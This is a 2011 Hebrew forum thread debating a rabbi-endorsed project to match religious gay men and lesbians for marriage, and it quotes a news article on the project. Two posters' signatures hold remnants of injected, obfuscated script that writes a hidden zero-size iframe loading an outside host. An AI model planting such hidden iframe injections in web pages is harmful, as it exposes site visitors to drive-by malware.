|
|
| נשלח ב-22/8/2011 06:50 |
|
| |
[מקס,
תודה על ההסבר.
נניח שהרב המדובר אכן חושב שאהבה היא סוג של מותרות לחיי נישואין, או שהיא משהו נרכש ש"יכול לבוא אח"כ". האם הוא היה מוכן להינשא לגבר - מתוך רצון בשותפות, עם הרבה אמון וכו' - ואולי אף "להתחיל ליהנות בהדרגה" (כמו שצוטט בכתבה שהוא אומר על אחד הזוגות הנ"ל) מיחסי המין?
אליס,
אני לא בטוחה שאתה צודק - הרמייה במקרים רבים היא עצמית, וזו אינה נפתרת כאן, אלא אם כן מקובל עליך שאנשים יתחתנו רק למראית עין וימשיכו לנהל מערכות יחסים זוגיות מחוץ למוסד הנישואין (כפי שנאמר בכתבה, שמבחינת הרבנים, זו אופציה המוצעת להם לכתחילה, או משהו דומה לזה). במקרה כזה, הרמיה אינה עצמית (ב"ה) וגם לא זה של זה, אלא רק של המוסד הקרוי "נישואין" (וכשלעצמו, אין לי בעיה עם "פגיעה" במוסדות כלשהם, אלא שאני תמהה על הרבנים השותפים למעשה זה).]
|
|
|
|
| נשלח ב-22/8/2011 14:57 |
|
| |
בלקסיקון עצכ"ח מצאתי הגדרה של ווטו למושג התאמה:
"התאמה-להוסיף:צעידה הרמונית עם היקום/ההוויה,כשהתורה משמשת כמפת דרכים לכך.בשאר הברואים,דומם צומח וחי, מוטבע הדבר כחלק מטבעם העצמי,אבל על האדם/מדבר, להגיע לכך בעצמו, על ידי זיהוי נכון של הענין והטמעתו בקרבו, באופן שיהפוך גם הוא לחלק מה"סימפוניה האלוקית" הניכרת, כאמור,למיטיב להתבונן. ה"רווח" מדרך זו,הוא קיום המצוות מתוך הבנה,חשק ואהבה. "
הרבנים בפתרון הלא יאמן המוצע כאן מנסים בכוח לעשות התאמה -אם לא על ידי צעד הרמוני אז על ידי פליק פלק וסלטה קדימה ואחורה...
|
|
|
|
| נשלח ב-22/8/2011 15:43 |
|
| |
אמשלום וצענע',
הן הרבנים והן האנשים אליהם פונה התוכנית הם אורתו' - חיים במערכת זוגית עם גבר אינם אופציה מבחינתם. אז מה הלאה? בדידות וניכור? סבל? זה הפתרון שלכם? עליכן לבחון את האפשרות הזו לאור האופציה השניה.
אחת התפיסות המרכזיות בפסיכולוגיה של האהבה היא תפיסתה כמשולש - אינטימיות, משיכה מינית, ומחויבות. אלו הן שלוש צלעות. לא תמיד שלושתן מתקיימות. יכולות להיות מערכות זוגיות בהן שתי צלעות חזקות - אינטימיות ומחויבות, וצלע אחת חלשה. זה גם קורה וזה לגיטימי לחלוטין (בתנאי כמובן שהצד השני מודע ומסכים).
מה הם מרויחים? הם חיים במערכת זוגית, יש להם ידיד או ידידה לחיים, הם נהפכים להיות חברים לגיטימים בקהילה הדתית שדי מדירה ולא מכבדת רווקים, יש להם שולחן שבת משל עצמם, יכולת להזמין לחגים ולשבתות קרובים וחברים, יכולת לטייל ביחד עם חברים נשואים. נהפכים להיות לבני אדם שווים בקהילתם. ויותר חשוב (בהרבה): יש להם משפחה, ילדים. כל הדברים האלו פשוטים בעיניכן? הייתן מעדיפות שיסבלו בבדידות, בדידות שמובילה לעיתים להתאבדות או במקרים קלים יותר לנטישת היהדות?
אז נכון שיש בעיה, והיא אולי בעיה גדולה (יש הרבה בעיות גדולות יותר) אבל בהתחשב באופציה זו תוכנית מעולה. מגיע לרב ארה'לה (אותו אני מכיר מהעבר) ישר כוח גדול על האומץ להתעסק איתה. באמת מסירות נפש של אדם מקורי ומעניין.
 |
|
|
|
|
| נשלח ב-22/8/2011 15:55 |
|
| |
צענע,
כמדומני שההגדרה של התאמה שהבאת איננה של ווטו. אכן הוא הסכים לה. ראי שוב בלכסיקון.
|
|
|
|
| נשלח ב-22/8/2011 16:25 |
|
| |
לספרן
אכן טעות שלי..
לאייל
הרי הפתרון הזה איננו פותר הלכתית את הבעיה המרכזית
אמנם הוא נותן מענה לשני עניינים 1. אין צורך לשקר לבן הזוג כי הכל מונח על השולחן 2.מונע את הבושה מהחברה אבל נישואים אלה אינם מונעים את המשך החיים בחטא (לפי התורה) של בני הזוג עם בני מינם מחוץ למסגרת הנישואין אלא שהדבר יעשה בחשאי ובהסכמה. והתאור הוורוד שלך שהכל יהיה נפלא סותר את המציאות כי 1. הבאת הילדים לעולם תעשה כנראה לא בדרך הרגילה ואכמ"ל.
2.השקעת האנרגיה בהסתרת הסוד מהסביבה והילדים גובה מחיר כבד.
|
|
|
|
| נשלח ב-22/8/2011 16:55 |
|
| |
צענע',
חס ושלום. הרעיון ודאי לא בנוי על כך שממשיכים בקשר עם בן זוג מאותו המין. זה תרחיש בעייתי מאוד (וצריך להכיר את הרב ארהל'ה יוזם הרעיון, בשביל לדעת כמה שהוא לא תומך באפשרות שכזו). לא יודע מה כתבו בכתבה, אבל התוכנית אמורה למנוע ולפתור את הבעיה הזו - הם בטח לא אמורים לחיות עם בן זוג מאותו המין אחרי נישואיהם, הרי גם קודם הנישואים הרב ארהל'ה, ככל רבני ישראל לדורותיהם, מתנגד לחיים משותפים וק"ו שאחרי הנישואים!
לגבי ההסתרה מהילדים - עם כל הכבוד אבל מה זה העניין של הילדים למי אבא שלהם נמשך? גם בבתים הטרויים רבים זה ממש לא נושא לשיחה בשולחן שבת. הבית יהיה בית טוב אם תהיה זוגיות יפה בין ההורים, דבר בהחלט אפשרי גם ללא משיכה מינית (וכבר ביארו רבותינו את הבעייתיות שבהבחנה, את העמימות, ואת העובדה שלעיתים קרובות מדובר על רצף אחד ולא על כן לא מוחלט) וכפי שביארנו שמדובר על משולש עם שלוש צלעות שיכול להתקיים גם עם צלע אחת בעייתית.
לגבי הילדים, כפי שאמרת אין כאן מקומו אבל ודאי שעל פי רוב מדובר על הדרך הנורמלית (במשך אלפי שנים לא הכירו בהומואיות והם חיו בתוך משפחות)
|
|
|
|
|
| נשלח ב-22/8/2011 16:59 |
|
| |
לפי דבריך מצאנו פתרון כולל לבעיית החד מיניות .נישואין! איך לא חשבו על זה קודם?
|
|
|
|
| נשלח ב-23/8/2011 02:27 |
|
| |
א. חשבו על זה מזמן. ב. זה פות לכל הפחות חלק מהבעיות.
אמשלום, זו אולי רמיה של מוסד הנישואין, אך מה אכפת לך?
מדובר בבודדים שלמרות מוגבלותם חשובה להם בניית תא משפחתי שידמה חיצונית ככל האפשר לתא משפחתי נורמאלי. אל נא תהי עינך צרה בם.
|
|
|
|
| נשלח ב-23/8/2011 06:26 |
|
| |
[אליס,
א. אני לא חושבת שזה פותר אף בעיה אמיתית. כאמור, רמייה עצמית ו"התחפשות" (הידועה יותר בשמה בהקשר זה - חיים בארון) הן כלי ידוע להתמודדות עם היות אדם בעל זהות שונה (וקיימות אולי מאז "הומצאו" החיים החברתיים...).
ב. כפי שכתבתי - אין לי בעיה עם חשיפת מוגבלותם של מוסדות, באמצעות שימוש פרדוכסלי בהם, עד כדי זילות בוטה שלהם (ובכלל זה, גם מוסד הנישואין). הערתי בעניין הייתה לגבי הרבנים המשתפים עם זה פעולה - עליהם אני תמהה.
אולי זה פשוט עניין של טען אישי - בעיניי, אם כבר רוצים לגלות את ערוותו של מבנה מיושן שאבד עליו הכלח, למה לא לעשות זאת בסוג של הומור עצמי ומתוך שאיפה אמיתית לתיקון העולם, כמו למשל (במקרה הספציפי הזה) - לחתן שני גברים או שתי נשים?
(נא לא לנסות ולמכור כאן את המרכולת העבשה של "זה לא הלכתי". רבנים - גם בני ימינו - הוכיחו כבר מזמן, שאם יש רצון לתקן את ההלכה מתוך עצמה, אז גם היכולת לכך מתגלה מאליה).]
|
|
|
|
| נשלח ב-23/8/2011 09:45 |
|
| |
קודם כל אני מעתיק את החומר לכאן. דברים הולכים לאיבוד לאחר זמן, אם גם אפשר לנחש את התוכן מן הדיון.
באישור הרבנים: שידוכים בין הומואים ללסביות מיזם אינטרנטי חדש, שהוקם בתמיכת שורת רבנים מובילים בציונות הדתית, מציע לשדך בין הומואים ללסביות דתיים. "יש בכך היבטים בעייתיים", אומר היוזם, הרב ארל'ה הראל, "אך בנישואים האלה יש יתרונות אנושיים והלכתיים" איתמר מרילוס עד לשנים האחרונות צירוף המילים "הומוסקסואל" ו"דתי" היה בלתי-אפשרי. סתירה לוגית. אבל מאבקם של הארגונים ההומו-לסביים הוציא אותם מארון הקודש, והוביל חלק מהרבנים למצוא דרכים יצירתיות להתייחס ל"בעיה". אחד הפתרונות המוצעים - שעשוי לעורר מחלוקת בציבור הרחב - זכה למרבה ההפתעה לתמיכה כמעט מקיר לקיר בקרב רבני הציונות הדתית: נישואים בין הומואים ולסביות. עוד על הומואים בחברה הדתית: מיזם אינטרנטי חדש, שיעלה באתר ההומואים הדתיים "כמוך", מציע לשדך בין הומוסקסואלים דתיים לבין לסביות דתיות למטרת נישואים והקמת משפחה. היוזם הוא הרב ארלה הראל, לשעבר ראש ישיבת ההסדר בשילה ומגשר בהכשרתו, ומאחוריו ניצבת שורה מכובדת של רבנים תומכים - בהם: הרב יעקב אריאל, הרב חיים דרוקמן, הרב מנחם בורשטין, הרב יובל שרלו, הרב אליקים לבנון, הרב רא"ם הכהן ואחרים הרב הראל, שכבר שידך 12 זוגות הומו-לסביים דתיים, נרתם להעניק מניסיונו במיזם שהושק תחת השם "אנחנו". מזה מספר שבועות יכולים הומואים ולסביות דתיים ליצור קשר באתר עם שדכנים שונים, ובראשם הרב הראל. חלק מההומאים לא יכולים להשתנות הפנייה היא דיסקרטית, ולאחריה מתבצעת פגישה עם המועמד, שמטרתה היא, כפי שהרב הראל הגדיר | נטייה מינית |
| | זה לא טוטאלי / הרב ארלה הראל |
| "יש הומואים דתיים, זו עובדה. יש גם שכנראה יישארו כאלה לעולם. זה לא סותר את העובדה שאפשר לנסות להשתנות" | | לכתבה המלאה |
| | | בשיחה עם ynet, "לסנן מועמדים לא ראויים, ולהכיר את המועמד". אם המועמד עובר את מבחן הסינון, הוא משלם תשלום חד-פעמי בסך 150 שקל, ולאחר מכן מותאמת לו בת זוג רלוונטית. לאורך כל התהליך, מלוּוים הצדדים באנשי מקצוע מתחומי בריאות הנפש. "ישנם היבטים רבים בעייתיים בכל המיזם הזה", מודה הרב הראל, "אך הנחת היסוד המניעה אותו היא שברור כמעט לכל הרבנים היום, בהתבסס על הספרות המחקרית ואנשי המקצוע, שיש חלק מסוים מן ההומואים והלסביות שלא מצליחים להשתנות, והמיזם הזה נועד לסייע להם". למרות זאת, גם הרב הראל סבור שעל כל הומו ולסבית דתיים מוטלת החובה הדתית לנסות לעבור טיפולי הסבה. "רק אם הטיפול לא מצליח, ניתן לפנות לאתר כדי למצוא שידוך הולם". כרוניקה של בגידה ידועה מראש לרב הראל ביקורת גם כלפי חלק מהארגונים ההומו-לסביים הדתיים שטוענים כי על החברה הדתית | דעה |
| | אלוהים שונא הומואים? / אסף וול |
| האם הומוסקסואליות היא סטייה או תועבה? האם לא ניתן לקבל את חברי הקהילה למגזר הדתי? אסף וול מפריך 10 מיתוסים | | לכתבה המלאה |
| | | להכיר לכתחילה בבחירתם של חד-מיניים לחיות עם בני מינם. "אין רב שמוכן לחתום על הקמת בית הומוסקסואלי או לסבי לכתחילה", הוא אומר, "מעבר לאיסור ההלכתי שבדבר, זוהי מחשבה תמימה לחשוב שהזוגות הללו לא יקיימו יחסי מין". הרב הראל מציין שתי סיבות משמעותיות המניעות את רבני הציונות הדתית לתמוך במיזם: "הסיבה הראשונה היא אנושית, והשנייה היא הלכתית. מבחינה אנושית-מוסרית, בניגוד לקשר שבו רק אחד מן הצדדים הצדדים בעל נטייה מינית הומוסקסואלית, בקשר שאנו מציעים שני בני הזוג מודעים מראש שהתא המשפחתי חסר. המודעות הזו מראש גורמת לכך שהציפיות לא תהיינה בשמיים. יש אפשרות מראש שבני הזוג יאפשרו זה לזה לקיים יחסי מין מחוץ לנישואים עם בני מינם, מה שמוריד את האפשרות של בגידה - משום שהצדדים מודעים לכך. העבירה היא, אם כך, רק בין האדם לבוראו ולא בין האיש והאיש. כמובן האפשרות הטובה ביותר היא שיבחרו להתגבר על יצרם ולא לבחור באפשרות הזאת". בכל הנוגע לסוגיה ההלכתית יש בשידוך הומואים ולסביות פתרון חלקי. קיום יחסים עם בני אותו המין מחוץ לנישואין, אסור כמובן, אך אינו יוצר משמעויות הלכתיות בלתי הפיכות המשליכות על חיי הזוגיות. ומה עם הילדים?הקושי העיקרי כמובן הוא סביב חיי המשפחה וההחלטה להביא ילדים. אם בקשר בין בני הזוג שני הצדדים בוחרים לקחת אחריות על עצמם ולהקים בית שבו אין משיכה פיזית ורומנטית, הרי שעל הילדים עצמם נכפה מצב שבו הזוגיות של ההורים בעייתית מאוד מלכתחילה. סוגיות כמו "האם לספר לילדים על הנטייה המינית של ההורים" או "החשש שהילדים יפתחו אף הם נטייה הומו-לסבית" הם סוגיות שעדיין אין להם תשובה מוחלטת, משום שהילדים שכבר נולדו עדיין לא הגיעו לגיל בו ניתן לתת מענה לשאלות הללו. "שני זוגות מתוך ה-12 ששידכתי עד היום התגרשו", מודה הרב הראל, "אבל לצד זה ישנם סיפורי הצלחה מבין הזוגות הללו. באחד המקרים למשל, האישה חלתה במחלה קשה והבחור סעד אותה במשך שנה בבית החולים במסירות מופלאה. בשני מקרים אחרים, בני הזוג לאחר החתונה החלו ליהנות בהדרגה מקיום יחסי המין". האם המיזם מבשר על מהפכה של ממש בחברה הדתית? כן ולא. כפי שמצוין באתר, המיזם פונה אל מיעוט שולי יחסית, כאלו שזהותם המינית גובשה ובנוסף הם בחרו בקיום תורה ומצוות קפדני. המיזם לא פונה אל דתיים המתקשים לוותר על חיים גלויים לצד בן זוג מאותו המין, כמו גם אל דתיים שזהותם המינית טרם גובשה. ובכל זאת, המצדדים טוענים כי מדובר בניסיון המשמעותי ביותר שיצא מן העולם הציוני-דתי לתת מענה (גם אם חלקי) אל מי שנקלעו לסיטואציה בלתי אפשרית, שבה זהותם המינית מתנגשת באופן חזיתי בזהותם הדתית.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-23/8/2011 09:54 |
|
| |
אני סבור שלפני שדנים לשלול או לחייב צריך לזכור כמה נקודות:
א. אם אין פתרונות טובים אז לפעמים יש פתרונות שהם הכי טובים שאפשר.
ב. האם תמיד מתחתנים מאהבה?
נראה שיש לחלק בין התאהבות שהיא משיכה מיידית לבין אהבה שנבנית משך השנים ויכולה לעלות - או לרדת.
ג. מי האוכלוסיה שתצטרף? יש אדם שיאמר: אני בעל בעיה זו וזו, אני מחפש פתרון בתוך ההלכה, אני מבין מה מציעים לי. לא בטוח שאוכל להעניק לאשתי מה שכל גבר מעניק לאשתו. אעשה את המכסימום. הבה נגדיר מראש מה יהיה לנו. וכך לגבי בת הזוג.
אני סבור שההצעה יכולה להיות מאד טובה למי שרואה את עצמו כמו שראיתי לפני כמה שנים בלינק של אגודה של בעלי הבעיה שגם רוצים להיות שומרי מצוות. אם הם לא רוצים להיכשל בעבירה (בלי להיכנס לשאלה אם זו עבירה ומדוע) אז זה פתרון שיכול לעבוד.
ושוב: איני דן בכפיה, וגם לא בשאלה אם יש כאן קבוצה שכופה את ערכיה על הפרט. רק בשאלה אם זה פתרון יעיל. ראו סעיף 1.
בני אדם מכילים סתירות. זו סתירה גדולה וכואבת בין מה שהטבע לכאורה אומר לבין מה שהערכים התורניים קובעים. אם אין אנו משנים את הערכים שלנו (כאן אני במחנה השולל וכבר היו דיונים על זה ולא זה הנושא כמדומה) אז זה יכול להועיל כפי שהתרשמתי. והכל תלוי באיך זה ייעשה בפועל, וגם אז צריך נסיון מעשי לראות איך זה מתקדם במשך השנים.
וכמובן צריך סודיות מוחלטת. במיוחד עבור הילדים.
אולי כרקע נוסף: בהקשר כלשהו נודע לי על סיפור של אדם שביקש למצוא בת זוג ש"רוצה כמה שפחות" יחסי אישות. הוא בוודאי לא היה אדם בריא. לא היה ברור לי בשעתו אם הוא התפתח כך עקב תנאים משפחתיים (חוסר חום והקרנה של הסתייגות מכל מגע), נטיה אישית (לא מודעת) לצד השני (לא היה כמעט שום בסיס להנחה כזו) או גורמים אחרים שלא ידועים לי, או שהכל תרם (וכך מסתבר). לא מדובר כאן בבעיה מהסוג שמתואר באשכול ובלינקים האחרונים. כן מדובר בבעיה אישית לא קלה של אדם שמודע ברמה כלשהי לכך שלא יוכל לבנות מערכת יחסים "נורמלית" עם אשתו ומראש מחפש בת זוג שדומה לו בדרישותיה או בהעדרן.
זכורני שראיתי פעם סיפור מעניין של הבן איש חי. מעשה באב שהיו לו שלוש בנות עם מידות רעות. הוא הצליח להשיא אותן לבעלים שתנאי חייהם עקפו את הבעיות, כמו בזבזנות ועצלנות. זה לא הועיל לאשה שהיתה למודה להוציא שם רע וכמובן זה המסר החינוכי של הסיפור (לכל יש תרופה חוץ מלשון הרע). אבל לפי דרכנו אפשר היה ללמוד איך הצטייר לרב על סף התקופה המודרנית פתרון לבעיות של מידות ואישיות: למצוא מסגרת שבה הבעיה לא תבלוט.
*** תוקן ניסוח לא ברור ***
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 23/08/2011 09:55:18
 |
|
|
|
|
| נשלח ב-23/8/2011 10:22 |
|
| |
|
|
|
|
| נשלח ב-23/8/2011 15:13 |
|
| |
מיימוני תודה על ההעתקה. כי האינטרנט שלי מסונן ואינו פותח את וינט. ונאי מבקש שכן יעשו בכל לינקים כאלו.
|
|
|
|
| נשלח ב-23/8/2011 15:18 |
|
| |
האינטרנט המסונן לא מאפשר את וינט אבל מאפשר את עצכ"ח? עולם הפוך ראיתי 
|
|
|
|
| נשלח ב-23/8/2011 15:27 |
|
| |
| צענערענע כתב: |  | האינטרנט המסונן לא מאפשר את וינט אבל מאפשר את עצכ"ח?
עולם הפוך ראיתי  |
|
אכן, עולם מטופש.
פורום עצכ"ח צריך לצאת מבחדרי חרדים מהר ככל האפשר.
ובעיקר כדי שלא יצטרכו הגולשים האינטליגנטיים לעבור את החדשות השטחיות שבראש הדף.....
|
|
|
|
|